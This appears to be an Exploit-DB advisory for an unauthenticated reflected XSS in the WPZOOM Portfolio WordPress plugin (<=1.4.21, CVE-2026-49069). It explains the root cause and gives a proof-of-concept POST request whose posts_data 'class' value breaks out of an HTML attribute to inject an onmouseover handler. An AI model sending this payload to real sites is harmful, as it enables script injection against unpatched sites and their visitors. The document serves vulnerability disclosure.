WordPress Plugin WPZOOM Portfolio 1.4.21 - Reflected Cross-Site Scripting (XSS)

EDB-ID:

52611




Platform:

Multiple

Date:

2026-07-06


# Exploit Title: WordPress Plugin WPZOOM Portfolio 1.4.21 -  Reflected Cross-Site Scripting (XSS)
# Date: June 10, 2026
# Exploit Author: Kent Apostol
# Vendor Homepage: https://wpzoom.com
# Software Link: https://wordpress.org
# Version: <= 1.4.21
# Tested on: WordPress 6.x
# CVE: CVE-2026-49069

Vulnerability Description:
The WPZOOM Portfolio plugin for WordPress is vulnerable to unauthenticated reflected Cross-Site Scripting via the `wpzoom_load_more_items` AJAX action. The handler is registered for unauthenticated users through `wp_ajax_nopriv_wpzoom_load_more_items` and performs no nonce validation or privilege checks. 

The application reads the `posts_data` POST parameter, passes it through `sanitize_text_field()`, and JSON-decodes it into an array which is then merged into `$args` via `wp_parse_args()`. The attacker-controlled `class` key from this array is assigned to `$args['class']` and concatenated directly into multiple single-quoted HTML attributes within `items_html()` (e.g., `<li class='{$class}_item ...'>`, `<article class='{$class}_item-wrap ...'>`, `<h3 class='{$class}_item-title'>`) without any context-aware output escaping like `esc_attr()`.

Because `sanitize_text_field()` strips angle brackets (`<`, `>`) but preserves single quotes (`'`), an attacker can break out of the HTML attribute string and inject arbitrary attributes, including malicious JavaScript event handlers. The payload executes when the underlying query returns at least one published portfolio item.

Proof of Concept (PoC):

Step 1: As an unauthenticated user, send the following POST request to the target site:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: TARGET
Content-Type: application/x-www-form-urlencoded
Content-Length: 111

action=wpzoom_load_more_items&offset=0&posts_data={"source":"post","class":"x' onmouseover='alert(document.domain)' y='"}


Step 2: Review the HTTP response to verify that the single quote has successfully broken out of the class attribute structure to inject the event handler:

<li class='x' onmouseover='alert(document.domain)' y='_item ...' data-category='1'>


Step 3: When rendered in a victim's browser, triggering the event handler (hovering over the loaded portfolio item) executes the JavaScript code.